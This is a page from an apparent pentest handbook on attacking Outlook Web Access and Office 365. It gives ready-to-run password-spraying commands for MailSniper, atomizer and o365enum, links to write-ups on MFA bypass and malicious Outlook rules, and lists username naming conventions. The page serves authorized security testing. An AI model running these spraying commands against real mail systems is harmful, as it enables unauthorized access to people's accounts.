Pentest Book
Search…
Recon
Enumeration
Exploitation
OWA
Tools
1
# https://github.com/dafthack/MailSniper
2
# Spraying toolkit: https://github.com/byt3bl33d3r/SprayingToolkit
3
Invoke-PasswordSprayOWA -ExchHostName mail.r-1x.com -UserList C:\users.txt -Password Dakota2019! -OutFile C:\creds.txt -Threads 10
4
python3 atomizer.py owa mail.r-1x.com 'Dakota2019!' ../users.txt
5
​
6
# https://github.com/gremwell/o365enum
7
./o365enum.py -u users.txt -p Password2 -n 1
8
​
9
# https://github.com/mdsecactivebreach/o365-attack-toolkit
10
​
Copied!
Bypasses
1
# UserName Recon/Password Spraying - http://www.blackhillsinfosec.com/?p=4694
2
# Password Spraying MFA/2FA - http://www.blackhillsinfosec.com/?p=5089
3
# Password Spraying/GlobalAddressList - http://www.blackhillsinfosec.com/?p=5330
4
# Outlook 2FA Bypass - http://www.blackhillsinfosec.com/?p=5396
5
# Malicious Outlook Rules - https://silentbreaksecurity.com/malicious-outlook-rules/
6
# Outlook Rules in Action - http://www.blackhillsinfosec.com/?p=5465
7
​
8
Name Conventions:
9
- FirstnameLastinitial
10
- FirstnameLastname
11
- Lastname.firstname
Copied!
Last modified 1yr ago